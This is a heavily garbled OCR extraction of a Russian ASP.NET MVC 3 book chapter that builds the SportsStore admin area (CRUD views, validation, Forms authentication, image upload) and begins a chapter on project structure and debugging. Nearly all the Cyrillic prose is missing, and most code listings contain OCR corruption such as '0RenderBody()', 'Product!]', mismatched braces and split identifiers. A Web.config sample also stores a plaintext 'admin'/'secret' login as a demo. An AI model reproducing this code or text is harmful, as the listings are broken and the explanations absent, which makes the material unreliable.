Product[] result =
((IEnumerable<Product>)target.Index().ViewData.Model).ToArray();
//
Assert.AreEqual(result.Length, 3);
Assert.AreEqual("PI", result[0].Name);
Assert.AreEqual ("P2", result[1].Name);
Assert.AreEqual ("P3", result[2] .Name);
SportsStore
Razor. ,
,
.
, V ie w s /S h a re d
S p o r t s S t o r e .W ebU I A d d ^ N e w Item
(^ ). MVC 3 Layout Page (Razor)
( MVC 3 (Razor)) _ A d m in L a y o u t:. c s h t m l
(. 9.3). A dd (), .
9. SportsStore:
229
. 9 .3 . Razor
(_).
Razor Microsoft
WebMatrix,
. M V C ,
M V C . CSS,
9.4.
9.4. _ A d m in L a y o u t .c s h t m l
<!DOCTYPE html>
<html>
<head>
<title>0ViewBag.Title</title>
<Iink href="@Url.Content("~/Content/Admin.css")" rel="stylesheet" type="text/css" />
</head>
<body>
<div>
0RenderBody()
</div>
</body>
</html>
( ) C S S
A dm in .css Content. A d m in .c ss
Content, A d d ^ N e w Item
(^ ) S ty le S h e e t ( ),
Admin.css (. 9.4).
Admin.css 9.5.
9.5. CSS
BODY, TD ( font-family: Segoe UI, Verdana }
HI { padding: .5em; padding-top: 0; font-weight: bold;
font-size: 1.5em; border-bottom: 2px solid gray; }
DIV#content { padding: .9em; }
TABLE.Grid TD, TABLE.Grid TH ( border-bottom: lpx dotted gray; text-align:left; }
TABLE.Grid { border-collapse: collapse; width:100%; }
230
I. ASP.NET MVC 3
. 9 .4 . Admin.css
, ,
In d ex Admin.
In d ex A d d V ie w (
). Index (. 9.5).
. 9 .5 . Index
9. SportsStore:
231
(scaffold view),
Visual Studio ,
, , ,
. . Product M o d e l cla s s (
) List S c a ffo ld te m p la te ( ),
. 9.5.
! List Visual Studio
, lEnumerable ,
.
,
Use a la yo u t o r m a s te r p a g e ( -)
9.6.
_____________________ ---------------------------------------------------------------------------------------------------------------------------- ------ --------
Smodel IEnumerable<SportsStore.Domain.Entities.Product>
0{
ViewBag.Title = "Index";
Layout = "~/Views/Shared/_AdminLayout.cshtml";
1
<h2>lndex</h2>
<P>
SHtml.ActionLink("Create New", "Create")
</p>
<table>
<tr>
<th x/th>
<th>Name</th>
<th>Description</th>
<th>Price</th>
<th>Category</th>
</tr>
@foreach (var item in Model) {
< t r>
<td>
SHtml.ActionLink("Edit", "Edit", new { id=item.ProductlD }) |
SHtml.ActionLink("Details", "Details", new ( id=item.ProductlD }) |
SHtml.ActionLink("Delete", "Delete", new { id=item.ProductlD })
</td>
<td>@item.Name</td>
<td>@item.Description</td>
<td>@String.Format("{0:F} ", item.Price)</td>
<td>@item.Category</td>
</tr>
</table>
, ,
U R L Admin/Index (. 9.6).
232
I. ASP.NET MVC 3
. 9 .6 .
.
Product CRUD,
. ,
. , -
CSS. Index.cshtml 9.7.
9.7. I n d e x . c s h tm l
gmodel IEnumerable<SportsStore.Domain.Entities.Product>
@(
t
</table>
<p>0Html.ActionLink("Add a new product", "Create")</p>
9. SportsStore:
2 33
,
P rod u ct
. . 9.7.
. 9.7 . In d e x
.
, ,
.
.
, . 9.1. :
,
;
, ,
.
Edit
9.8 Edit,
AdminController.
Html.ActionLink Index.
9.8. E d i t
public ViewResult Edit(int productld) (
Product product =
repository.Products.FirstOrDefault(p => p.ProductID == productld);
return View(product);
)
,
productld, .
234
I. ASP.NET MVC 3
: Edit
E d i t . ,
,
. , , , .
,
, . .
[TestMethod]
public void Can_Edit_Product() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductlD = 1, Name = "PI"},
new Product {ProductlD = 2, Name = "P2"),
new Product {ProductlD = 3, Name = "P3"),
} .AsQueryable() ) ;
// -
AdminController target = new AdminController(mock.Object);
//
Product pi = target.E d i t (1).ViewData.Model as Product;
Product p2 = target.Edit (2) .ViewData.Model as Product;
Product p3 = target.Edit(3).ViewData.Model as Product;
//
Assert.AreEqual(1, p i .ProductlD);
Assert.AreEqual(2, p 2 .ProductlD);
Assert.AreEqual(3, p 3 .ProductlD);
}
[TestMethod]
public void Cannot_Edit_Nonexistent_Product() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product!] {
new Product {ProductlD = 1, Name = "PI"},
new Product {ProductlD = 2, Name = "P2"},
new Product {ProductlD = 3, Name = "P3"},
} .AsQueryable()) ;
// -
AdminController target = new AdminController(mock.Object);
//
Product result = (Product)target.E d i t (4).ViewData.Model;
//
A s s e r t .IsNu11 (result);
E d it
, .
Edit
Add View ( ). Edit,
Create a strongly-typed view ( )
, Model class ( ) Product
(. 9.8).
9. SportsStore:
235
. 9.8 . E d i t
CRUD- Edit ,
, , Visual Studio.
, S c a ffo ld te m p la te (
) E m p ty ().
Use a la yo u t o r m a s te r p a g e ( -)
AdminLayout.cshtml.
A d d () ,
Views/Admin. 9.9.
9.9. E d i t
0model SportsStore.Doma i n .Entities.Product
0{
Html.EditorForModel.
MVC Framework,
, Product.
236
I. ASP.NET MVC 3
, E d it,
URL /Admin/Index.
, . 9.9.
. 9.9. ,
EditorForModel
, E d i t o r F o r M o d e l ,
.
P r o d u c t I D . . ,
D e s c r i p t i o n .
MVC Framework, ,
.
, H t m l . E d i t o r F o r M o d e l . 9.10
, P r o d u c t S p o r t s S t o r e . D o m a i n .
9.10.
u s i n g S y ste m .C o m p o n e n tM o de l. D a t a A n n o ta tio n s ;
u sin g S y s t e m .W e b . Mvc;
namespace S p o r t s S t o r e . D o m a in .E n t it ie s
public
class
Product
[Hiddenlnput(DisplayValue=false)]
public
int
public
string
ProductID
Name
{ get;
{ get;
set;
set;
[DataType(DataType.MultilineText)]
}
)
public
string
p ublic
d ecim al
p ublic
string
Description
Price
{ get;
Category
{ get;
set;
{ get;
set;
}
set;
9. SportsStore:
237
. 9.10.
CSS. MVC
Framework ,
CSS. , . 9.10,
, textarea, ,
CSS- "text-box multi-line":
<div class="editor-field">
ctextarea class="text-box multi-line" id="Description"
name="Description ">... . ..</textarea>
Edit, 9.11
Admin.css, Content SportsStore.WebUI.
9.11. CSS
.editor-field { margin-bottom: .8em; }
.editor-label { font-weight: bold; )
.editor-label:after { content:
}
.text-box { width: 2 5em; }
.multi-line { height: 5em; font-family: Segoe UI, Verdana;
238
I. ASP.NET MVC 3
E d it
. 9.11.
. 9.11. CSS-
- ,
.
, ,
E ditorF orM odel,
.
16.
,
, .
, IP ro d u ctR ep o sitory,
9.12.
9.12.
using System.Linq;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract {
public interface IProductRepository {
IQueryable<Product> Products ( get; }
void SaveProduct(Product product);
}
)
Entity Framework
E F Produ ctR ep ository (. 9.13).
9. SportsStore:
239
9.13. S a v e P ro d u c t
using System.Linq;
using SportsStore.Domain.Abstract;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Concrete {
public class EFProductRepository : IProductRepository {
private EFDbContext context = new EFDbContext ();
public IQueryable<Product> Products {
get { return context.Products; }
)
public void SaveProduct(Product product)
if (product.ProductID == 0) {
context.Products.Add(product);
}
context.SaveChanges();
}
}
S a v e C h a n g e s ,
ProductID 0;
.
POST Edit
Edit, POST,
Save (). ,
9.14.
9.14. E d i t ,
POST
[HttpPost]
public ActionResult Edit(Product product) (
if (ModelState.IsValid) {
repository.SaveProduct(product);
TempData["message"] = string.Format("{0} has been saved", product.Name);
return RedirectToAction("Index");
} else (
// - ,
return View(product);
, ,
. ,
Index
. ,
Edit, .
TempData .
TempData /,
ViewBag. , HTTP- TempData
. , Edit ActionResult.
240
I. ASP.NET MVC 3
ViewResult.
ActionResult, , ,
. ActionResult,
RedirectToAction. Edit
Index.
ViewBag,
. ViewBag
, , . ,
, .
, TempData .
( TempData )
, . ,
, .
: ,
Edit, POST, ,
Product,
. , ,
. .
[TestMethod]
public void Can_Save__Valid__Changes () {
// -
9. SportsStore:
241
, T e m p D a t a ,
A d m i n L a y o u t . c s h t m l .
, ,
Razor. ,
_ A d m i n L a y o u t . c s h t m l , 9.15.
9 .1 5 . V ie w B a g
< ! DOCTYPE html>
<html>
<head>
<title>@ViewBag.Titie</titie>
<body>
<div>
}
SRendefBody()
</div>
</body>
< /html>
. ,
, .
, -
, - (
).
,
. , URL A d m i n / I n d e x
. Save ().
T e m p D a t a , . 9.12.
. 9 .1 2 . TempData
242
I. ASP.NET MVC 3
,
TempData . , ..
.
,
.
, SportsStore
. 9.16 Product
, ShippingDetails
.
9.16. P r o d u c t
using System.ComponentModel.DataAnnotations;
using System.Web.Mvc;
namespace SportsStore.Domain.Entities {
public class Product {
[Hiddenlnput(DisplayValue=false)]
public int ProductID { get; set; }
[Required(ErrorMessage = "Please enter a product name")]
//
public string Name { get; set; }
[Required(ErrorMessage = "Please enter a description")]
/ /
[DataType(DataType.MultilineText)]
public string Description ( get; set; }
[Required]
[Range(0.01, double.MaxValue, ErrorMessage = "Please enter a positive price")]
//
public decimal Price ( get; set; }
[Required(ErrorMessage = "Please specify a category")]
//
public string Category { get; set; }
}
! Product , , .
, .
MVC Framework, . ,
, 16.
9. SportsStore:
243
. 9 .1 3 .
,
.
.
,
JavaScript.
MVC Framework
, .
, ,
JavaScript.
_AdminLayout.cshtml,
, .
9.17.
, MVC JavaScript jQuery.
9.17. JavaScript-
<!DOCTYPE html>
<htnl>
<head>
<title>@ViewBag.Title</title>
Clink href="@Url.C o n t e n t ("~/Content/Admin.css")" rel="stylesheet"
type="text/css" />
<script src="@Url.Content ("'/Scripts/jquery-1.4.4.min.j s")"
type="text/javascript " X / script >
<script src="@Url.Content("/Scripts/jquery.validate.min.js")"
type="text/javascript"X/script>
244
I. ASP.NET MVC 3
<script src="0Url.Content("-/Scripts/jquery.validate.unobtrusive.min.js")
type=" text/javascript " X / scrip t>
</head>
<body>
<div>
@if (TempData["message"] != null) {
<div class="Message">0TempData["message"]</div>
}
SRenderBody()
</div>
</body>
</html>
,
.
, CSS,
, ,
.
, ,
:
HtmlHelper.ClientValidationEnabled = false;
HtmlHelper.UnobtrusiveJavaScriptEnabled = false;
,
.
,
Application_Start Global.asax
Web.config:
<configuration>
<appSettings>
<add key="ClientValidationEnabled" value="false"/>
<add key="UnobtrusiveJavaScriptEnabled" value="false"/>
</appSettings>
</configuration>
Create, Add a new
product ( ) .
.
.
MVC. AdminController Create,
9.18.
9.18. C r e a t e
A d m in C o n t r o lle r
public ViewResult C r e a t e () {
return View("Edit", new P roduct());
9. SportsStore:
245
Create .
, Edit.
, ,
. Product
, Edit .
. ,
,
Html.B e g i n F o r m HTML-, .
Create, .. ,
Edit,
.
Html.BeginForm, ,
, Edit,
Edit Admin (. 9.19).
9.19.
0model SportsStore.Domain.Entities.Product
@{
}
<hl>Edit SModel.Name</hl>
@using (Html.BeginForm("Edit" , "Admin")) {
@Html.EditorForModel()
<input type="submit" value="Save" />
@Html.A ctionLink("Cancel and return to List", "Index")
}
Edit,
, .
Add a new product ,
. 9.14.
. 9 .1 4 .
246
I. ASP.NET MVC 3
. IProductRepository ,
9.20.
9.20.
using System.Linq;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract {
public interface IProductRepository {
IQueryable<Product> Products { get; }
void SaveProduct(Product product);
void DeleteProduct(Product product);
)
}
Entity Framework
E F Produ ctR ep ository (. 9.21).
9.21. Entity Framework
Delete
Admin. POST,
. 11,
- GET
. ,
GET. 9.22.
9.22. D e le t e
[HttpPost]
public ActionResult Delete(int productld) {
Product prod =
repository.Products.FirstOrDefault(p => p.ProductID == productld);
if (prod != null) (
repository.DeleteProduct(prod);
TempDataf"message"] = string.Format("{0} was deleted", prod.Name);
}
return RedirectToAction("Index");
}
9. SportsStore:
247
:
Delete.
, ProductID
DeleteProduct
Product, . .
[TestMethod]
public void Can_Delete_Valid_Products() (
// Product
Product prod = new Product { ProductID = 2, Name = "Test" };
// -
II
target.Delete (100);
// ,
// Product
m o c k .Verify(m => m. DeleteProduct(It.IsAny<Product> ()), Tim e s .Never ());
}
,
Delete () (. 9.15).
, Tem pD ata
.
248
I. ASP.NET MVC 3
. 9.15.
CRUD . ,
, .
,
. , ,
URL Admin/Index. ,
,
Admin.
ASP.NET MVC ASP.NEt
ASP.NET (ASP.NET Forms
Authentication),
.
22. ,
.
W eb.config, a u th e n tic a tio n
:
< a u t h e n t ic a t i o n m ode="Form s">
<forms
timeout="2880"/>
,
MVC, Empty () Internet Application
(-). lo g in U r l ASP.NET, URL
; /Account/Logan.
tim e o u t ,
. 48
(2880 ). 22.
9. SportsStore:
249
!
Windows,
. ,
Windows.
Windows -.
9.23,
<authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880">
<credentials passwordFormat="Clear">
<user name="admin" password="secret" />
</credentials>
</forms>
</authentication>
(admin)
(secret) Web.config. -,
, ,
22.
MVC ,
.
MVC Framework , .
.NET,
.
. ; ,
( 13).
Authorize.
AdminController, 9.24.
9.24. A u t h o r iz e
using
using
using
using
System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;
System.Linq;
250
I. ASP.NET MVC 3
namespace SportsStore.WebUI.Controllers {
[A u th o rize ]
public class AdminController : Controller (
private IProductRepository repository;
public AdminController(IProductRepository repo)
repository = repo;
, A u th o rize
, . ,
. SportsStore ,
. 13 22 ,
A u th o r iz e (
) (
).
! .
. 9.24 A u th o riz e ,
Admin
.
, A u th o riz e ,
URL /Admin/Index. ,
. 9.16.
ThelControIlerFactory 'SportsStore.WebUI.Infrs5tructure.NinjectControilerFacory' did not return cont...
*
1 http://localhosfc43190/Acccunt/LogOn?RetumUrf= %2fAdmin%2fInde<
*|-
The IControllerFactory
'SportsStore. WebUI. Infrastructure. NinjectControllerFactory'
did not return a controller for the name 'Account'.
D e s c r i p t i o n : A r unhandled exception occu rred during the execution o f tne current w e b requ est P lea se re v ie w
the stack trace tor more information about me error and where it ongnated n the code
E x c e p t i o n D e t a i l s : System InvakdO peratjofiExcepton: Tha IControllerFactcry
SportsStore W eb U I Infras*ructure.N-njectControHerf actory did not return a controller for the narre Account*
9. SportsStore:
251
S y s t e m .W e b .S e c u r it y .F o r m s A u t h e n t ic a t io n :
A u t h e n t i c a t e ,
;
S e t A u t h C o o k ie cookie-Ha6op ,
,
, .
. , Moq,
. , F o r m s A u t h e n t ic a t io n
MVC.
.
,
MVC
.
.
A b s t r a c t I n f r a s t r u c t u r e S p o r t s S t o r e .
WebUI IA u t h P r o v id e r .
9.25.
9.25. IA u t h P r o v id e r
n a m e s p a c e S p o r t s S t o r e .W e b U I .I n f r a s t r u c t u r e . A b s t r a c t {
public interface IAuthProvider {
bool A u t h e n t i c a t e ( s t r i n g username, s t r i n g p a ss wo r d) ;
}
,
F orm sA u th en tication .
In fr a s t r u c t u r e C on crete
Form sAuthProvider. 9.26.
9.26. F o rm s A u th P ro v id e r
using System.Web. S e c u r it y ;
using S portsS tore.W eb U I. In fr e s t r u c t u r e .A b s t r a c t ;
namespace S p o r ts S to re .WebUI. In fr e s t r u c t u r e . Concrete {
p u b lic c la s s Form sAuthProvider : IA u th P ro vid er {
p u b lic b o o l A u th e n t ic a te (s t r in g username, s t r in g password) {
b o ol r e s u lt = F orm sA u th en tication .A u th en ticate(u sern am e, passw ord);
i f (r e s u lt ) {
Form sA u th en tication . SetAuthCookie(username, f a l s e ) ;
}
retu rn r e s u lt ;
)
}
)
252
!. ASP.NET MVC 3
Authenticate ,
.
FormsAuthProvider AddBindings NinjectControllerFactory,
9.27 ( ).
9.27. Ninject
private void AddBindings() {
//
ninjectKernel.Bind<IProductRepository>().To<EFProductRepository>();
//
EmailSettings emailSettings = new EmailSettings {
WriteAsFile
= boo l .Parse(ConfigurationManager.AppSettings["Email.WriteAsFile"] ?? "false")
};
ninjectKernel.Bind<IOrderProcessor>()
,To<EmailOrderProcessor> ().WithConstructorArgument("settings", emailSettings) ;
ninjectKernel.Bind<IAuthProvider>().To<FormsAuthProvider>();
A ccount
A c c o u n t
LogOn. LogOn.
, ,
POST, .
,
. Models SportsStore.
WebUI LogOnViewModel ,
9.28.
}
}
,
, .
DataType MVC Framework ,
Password.
, , * , ViewBag.
;
9. SportsStore:
253
,
.
.
AccountController,
9.29.
9.29. A c c o u n t C o n t r o lle r
using System.Web.Mvc;
using SportsStore.WebUI.Infrastructure.Abstract;
using SportsStore.WebUI.Models;
namespace SportsStore.W e b U I .Controllers {
public class AccountController : Controller {
IAuthProvider authProvider;
public AccountController(IAuthProvider auth)
authProvider = auth;
}
public ViewResult LogOn () {
return V i e w ();
}
[HttpPost]
public ActionResult LogOn(LogOnViewModel model, string returnUrl) {
if (ModelState.IsValid) {
if (authProvider.Authenticate(model.UserName, m o d e l .Password)) {
return Redirect(returnUrl ?? Url.Action("Index", "Admin"));
} else {
//
ModelState.AddModelError ("", "Incorrect username or password");
return V i e w ();
)
} else {
return View ();
}
}
)
Account Add View (
). LogOn,
LogOnViewModel (. 9.17).
Use a layout or master page ( -)
_AdminLayout. cshtml.
Add (), ,
, 9.30.
9.30. LogOn
3rrodel SportsStore.W e b U I .Mod e l s .LogOnViewModel
?{
ViewBag.Title = "Admin: Log In";
Layout = "~/Views/Shared/_AdminLayout.cshtml";
254
I. ASP.NET MVC 3
<hl>Log In</hl>
<p>P l e a s e log in to access the a dministrative area:</p>
S u s i n g ( H t m l .B e g i n F o r m ()) {
0 H t m l .V a l i d a tionSummary(true)
0 H t m l .E d i t o r F o r M o d e l ()
< p x i n p u t type=" s u b m i t " v a l u e = " L o g in" /></p>
. 9.17. L o g O n
. 9.18.
. 9 .1 8 . LogOn
9. SportsStore:
255
ModelStatfe .
,
Html.ValidationSummary .
! 9.30 Html.Validation
Summary bool, true.
. ,
,
.
:
Acc o u n t :
, ,
, .
IAuthProvider
LogOn , .
[TestMethod]
public void Can_Login_With_Valid_Credentials() {
//
Mock<IAuthProvider> mock = new Mock<IAuthProvider> ();
mock.Setup(m => m.Authenticate("admin", "secret")).Returns(true);
//
LogOnViewModel model = new LogOnViewModel {
UserName = "admin",
Password = "secret"
};
// -
AccountController target = new AccountController(mock.Object);
//
ActionResult result = target.LogOn(model, "/URL");
256
!. ASP.NET MVC 3
//
Asse r t .IsInstanceOfType(result, typeof(RedirectResult));
Assert.AreEqual("/MyURL", ((RedirectResult)result) .Url);
}
[TestMethod]
public void Cannot_Login_With_Invalid_Credentials () {
// -
Mock<IAuthProvider> mock = new Mock<IAuthProvider>();
mock.Setup(m => m.Authenticate("badUser", "badPass")).Returns(false);
// -
LogOnViewModel model = new LogOnViewModel {
UserName = "badUser",
Password = "badPass"
};
// -
AccountController target = new AccountController(mock.Object);
// -
AcftionResult result = target.LogOn (model, "/MyURL");
//
Asse r t .IsInstanceOfType(result, typeof(ViewResult));
Asse r t .IsFalse(((ViewResult)result).ViewData.ModelState.IsValid);
SportsStore.
,
-,
.
13 22.
. , , SSL (Secure
Sockets Layer ),
- ( ,
22) .
SSL - IIS.
SportsStore
.
, .
Server Explorer ( ) Visual Studio
Products , 7.
Open Table Definition (
). , . 9.19.
9. SportsStore:
257
. 9.19. Products
Save Products ( Products) File ()
<Ctrl+S>, .
Product SportsStore.Domain ,
, .
9.31 .
9.31. P r o d u c t
using System.ComponentModel.DataAnnotations;
using System.Web.Mvc;
namespace SportsStore.Domain.Entities {
public class Product {
[Hiddenlnput(DisplayValue=false)]
public int ProductID { get; set; }
[Required(ErrorMessage = "Please enter a product name")]
//
public string Name ( get; set; )
[Required(ErrorMessage = "Please enter a description")]
//
[DataType(DataType.MultilineText)]
public string Description ( get; set; )
[Required]
[Range(0.01, double.MaxValue, ErrorMessage = "Please enter a positive price")]
//
public decimal Price { get; set; }
[Required(ErrorMessage = "Please specify a category")]
//
public string Category { get; set; }
public byte ImageData { get; set; }
[Hiddenlnput(DisplayValue = false)]
public string ImageMimeType { get; set; )
i
}
9 . 4039
258
I. ASP.NET MVC 3
, , MVC Framework
. I m a g e M i m e T y p e
H i d d e n I n p u t . I m a g e D a t a ,
.
, i n t , s t r i n g , D a t e T i m e ..
, ,
.
Product,
Entity Framework
P r o d u c t
. Entity Framework,
.
. S p o r t s S t o r e . e d m x C o n c r e t e / O R M S p o r t s S t o r e .
D o m a i n . P r o d u c t ,
Entity Framework ( . 9.20).
. 9.20.
,
Product, U p d a te M o d e l fro m D a ta b a se (
). ,
. ,
F inish (). E n tity Framework
, . ,
ImageData ImageMimeType Product,
. 9.20.
.
,
. Views/Admin/
E d it.c s h tm l , 9.32 (
).
9. SportsStore:
259
9.32.
0model SportsStore.Domain.Entities.Product
@{
}
<hl>Edit 0Model.Name</hl>
Susing (Html.B eginForm("Edit", "Admin",
FormMethod.Post, new { enctype = "multipart/form-data" })) {
0Html.EditorForModel()
<div class="editor-label">Image</div>
<div class="editor-field">
0if (Model.ImageData == null) {
0:None
} else {
<img width="150" height="150"
src="0Url.Action("Getlmage", "Product", new { M o d e l .ProductID })" />
)
<div>Upload new image: <input type="file" name="Image" / X / d i v >
</div>
<input type="submit" value="Save" />
0Html.ActionLink("Cancel and return to List", "Index")
}
- , HTML- form
e n cty p e m u ltip a rt/ fo rm -d a ta . ,
form :
<form action="/Admin/Edit" enctype="multipart/form-data" method="post">
</form>
enctype ,
, .
enctype,
Html.BeginForm, HTML:
0using (Html.BeginForm("Edit", "Admin",
FormMethod.Post, new { enctype = "multipart/form-data" ))) {
, Product
null ImageData, img
Getlmage Product.
.
POST Edit AdminController,
.
9.33.
260
I. ASP.NET MVC 3
9.33. A d m in C o n t r o lle r
[HttpPost]
public ActionResult Edit(Product product, HttpPostedFileBase image) (
if (ModelState.IsValid) (
if (image != null) {
prod u c t .ImageMimeType = i ma g e .ContentType;
prod u c t .ImageData = new byte[image.ContentLength];
im a g e .InputStream.Read(product.ImageData, 0, ima g e .ContentLength);
}
//
repository.SaveProduct(product);
// TempData
TempData["message"] = string.Format("{0} has been saved", product.Name);
//
return RedirectToAction("Index");
} else {
// -
return View(product);
)
}
Edit , M V C Framework
.
null, null, M IM E
Product, .
! 9.33
. , n u l l , .
G etlm ag e
9.32 img,
Getlmage. ,
, . 9.3 4 ,
ProductController.
9.34. G e tlm a g e
public FileContentResult Getlmage(int productld) {
Product prod =
repository.Products.FirstOrDefault(p => p.ProductID == productld);
if (prod != null) {
return File(prod.ImageData, p r o d .ImageMimeType) ;
) else {
return null;
}
)
, .
FileContentResult ,
, File
9. SportsStore:
261
. ,
, 12.
:
, Getlmage MIME
, ,
. .
[TestMethod]
public void Can_Retrieve_Image_Data() {
// Product
Product prod = new Product {
ProductID = 2,
Name = "Test",
ImageData = new byte[] {},
ImageMimeType = "image/png" };
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"),
prod,
new Product {ProductID = 3, Name = "P3"}
}.AsQueryable() ) ;
// -
ProductController target = new ProductController(mock.Object) ;
// Getlmage
ActionResult result = target.Getlmage(2);
//
Asse r t .IsNotNull(result);
Asse r t .IsInstanceOfType(result, typeof(FileResult));
Assert.AreEqual(prod.ImageMimeType, ((FileResult)result).ContentType);
}
[TestMethod]
public void Cannot_Retrieve Image_Data_For__Invalid_ID() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository> ();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"},
new Product {ProductID = 2, Name = "P2"}
} .AsQueryable());
// -
ProductController target = new ProductController(mock.Object);
// - Getlmage
ActionResult result = target.Getlmage (100) ;
//
Ass e r t .IsNull (result);
}
,
FileResult .
FileResult ,
.
, null.
262
I. ASP.NET MVC 3
.
, . . 9.21 .
. 9 .2 1 .
.
Views/Shared/ProductSummary.cshtml,
, 9.35.
9.35.
@model SportsStore.Domain.Entities.Product
<div class="item">
gif (Model.ImageData != null) {
<div style="float:left/margin-right:20px">
<img width="75" height="75" src="0Url.Action("Getlmage", "Product",
new { M o d e l .ProductID })" />
</div>
}
<h3>@Model.Name</h3>
0Model.Description
<div class="item">
Susing(Html.BeginForm("AddToCart", "Cart")) {
@ Ht m l .HiddenFor(x => x.ProductID)
@Html.Hidden(returnUrl, Request.U r l .PathAndQuery)
<input type=submit>> value=+ Add to cart />
}
</div>
<h4>@Model.P r i c e .ToString()</h4>
</div>
9. SportsStore:
263
, (. 9.22).
. 9.22.
ASP.NET
MVC Framework .
:
, , , , ,
, , , ..
, ,
MVC, Entity Framework, Ninject, Moq Visual Studio
.
,
,
.
MVC Framework,
.
II
ASP.NET V 3
ASP.NET MVC Framework,
. MVC Framework,
.
. II .
ASP.NET MVC
.
, ( 11),
( 12-14), MVC ( 15 16) MVC
( 17 18).
, MVC AJAX (
19) jQuery ( 20).
10
MVC Framework,
.
A S P . N E T M V C ,
, .
. 10.1. MVC 3
Empty RSVP 3
SportsStore 7. ^
, ,
.
10. MVC
267
. 10.2,
.
. 10.2. MVC,
Empty, Internet A pp lication Intranet A pplication
268
, .
, ASP.NET MVC
Framework. .
. 10.1.
10.1. MVC 3
/_
, XML-
, SQL Server
Express, SQLite -
- (IS
/bin
MVC-
,
GAC
- IIS
.
bin
S olution E xplorer (
),
Show All
Files ( ).
,
,
/Content
,
CSS-
/Controllers
.
,
/Models
,
,
SportsStore
/Scripts
JavaScript- .
Visual Studio
jQuery Microsoft AJAX
.
,
..
10. MVC
269
. 10.1
/Views
,
,
,
-
, d
,
ASP.NET
- IIS
/ V i e w s / W e b .config
- IIS
.
ASP.NET.
(Global.a s a x .cs)
,
,
MVC-
G l o b a l .asax
,
Web Forms
MVC-
W e b .config
,
Web Forms
/Views/Shared
/Views/Web.config
/ G l o b a l .asax
/ W e b .config
! 23, MVC
-. IIS ,
Web.config, bin, App_code, A p p _GlobalResources,
App_LocalResources, App_WebReferences, App_Data App_Browsers. -
IIS .asax, .ascx, .sitemap,
.resx, .mdb, .mdf, .Idf, .csproj .
, ,
URL-.
. 10.2 ,
MVC 3.
10.2. MVC 3
/Areas
. 11
/App_GlobalResources
/App_LocalResources
, Web Forms
/App_Browsers
XML- .browser, ,
-,
(, JavaScript)
/App_Themes
270
II. ASP.NET 3
! /Areas, . 10.2
ASP.NET MVC.
ASP.NET Microsoft ASP.NET 4.0 C# 2010
( , 2011 ,).
- -
. 10.2 , Internet Application Intranet Application
, ,
. , ,
Intranet Application.
H o m e C o n t r o l l e r ( Internet Application
Intranet Application) About.
, CSS-
.
Internet Application A c c o u n t C o n t r o l l e r ,
" .
ASP.NET ( 22)
.
SQL Server Express /App_Data -
. SQL Server Express
,
. A ccountC o n t r o l l e r ,
. (
Intranet Application A c c o u n t C o n t r o l l e r ,
, Windows/
Active Directory.)
, Empty,
, .
MVC
MVC .
,
. , JavaScript Scripts.
, MVC. Visual
Studio JavaScript MVC.
Scripts ,
. MVC Framework
.
(convention over configuration), ,
Ruby on Rails. ,
.
.
. ,
.
10. MVC
271
. 15,
.
, C o n t r o l l e r ,
, P r o d u c t C o n t r o l l e r , A d m i n C o n t r o l l e r B o m e C o n t r o l l e r .
MVC HTML
( P r o d u c t ) , D e f a u l t C o n t r o l l e r F a c t o r y
C o n t r o l l e r
. ,
I C o n t r o l l e r F a c t o r y , 14.
/ V i evis/_. , ,
ProductController, /Views/Product.
! , Controller Views
, .. /Views/Product, /Views/ProductController.
, .
MVC Framework ,
. , ,
List, Li st.cshtml ( List.aspx,
ASPX). ,
, List Pr o d u c t C o n t r o l l e r
/ V i e w s / P r o d u c t / L i s t .cshtml.
View , :
return V i e w ();
, :
return V i e w ("MyOtherView");
,
. MVC Framework ,
(Razor ASPX
).
MVC Framework ,
, /Views / S h a r e d . , ,
, / V i e w s / S h a r e d
.
( 9,
WebMatrix, Razor),
/Views/Shared. Visual Studio
L a y o u t .cshtml .
, / V i e w s / _ V i e w S t a r t .cshtml,
5.
272
II. ASP.NET 3
,
_ V i e w S t a r t . c s h t m l ( ),
, :
@{
Layout = "-/Views/Shared/MyLayout.cshtml";
}
:
<2 <
Layout = null;
)
MVC
ASP.NET MVC ,
ASP.NET Web Forms. Visual Studio
, .
. , , ft, .
MVC 3
Intern et A pp lication .
. DebuggingDem o
Create a unit te s t p ro je ct ( ),
. 10.3.
. 1 0 .3 . DebuggingDem o
10. MVC
273
Visual Studio
MVC,
Visual Studio. C# (
) .
. 10.4; Debug ()
.
. 10.4.
<F5>.
Start Debugging ( ) Debug ()
Visual Studio.
, . 10.5.
. 10 .5. MVC
10.1. W eb. c o n f ig
<configuration>
<system.web>
C o m p i l a t i o n debug="true" targetFramework="4.0">
</compilation>
</system.web>
</configuration>
! He ,
. 23
.
274
II. ASP.NET 3
.
, .
(
). , Stop Debugging (
) Debug Visual Studio.
Visual Studio
, ,
, , , .
.
: .
.
. , Break All ( )
(breakpoint) ,
.
,
.
Index H o m eController , 10.2.
1 0 .2 . H o m e C o n t r o l l e r
using System.Web.Mvc;
namespace DebuggingDemo.Controllers {
public class HomeController : Controller {
public
int
int
int
ActionResult Index () {
firstVal = 10;
secondVal = 5;
result = firstVal / secondVal;
)
public ActionResult About () {
return V i e w ();
)
)
.
.
,
V i e w B a g .Message. ,
B re a k p o in ts In se rt B reakpoint
( ^ ).
, . 10.6.
10. MVC
275
. 10 .6.
( Start Debugging
DeOugJ
, (. 10.7).
. 10.7.
! ,
.
, ,
URL . ,
URL, .
, ,
URL .
,
. , ,
, .
10 8 ,
Index: Locals ()
.
.
, , ,
. Step Into (
), Step Over ( ) Step Out ( ) Debug.
,
Breakpoint^ Delete Breakpoint ( ^
). , Delete All
Breakpoints ( ) Debug.
276
. 10.8.
. Razor.
, ,
. ,
: Razor
B re a k p o in t^ ln s e rt B reakpoint ( ^ ).
-
.
.
Visual Studio ,
.
! .
, t r y . . . c a t c h .
.
,
.
, .. , (
).
I n d e x , 10.3.
10.3. ,
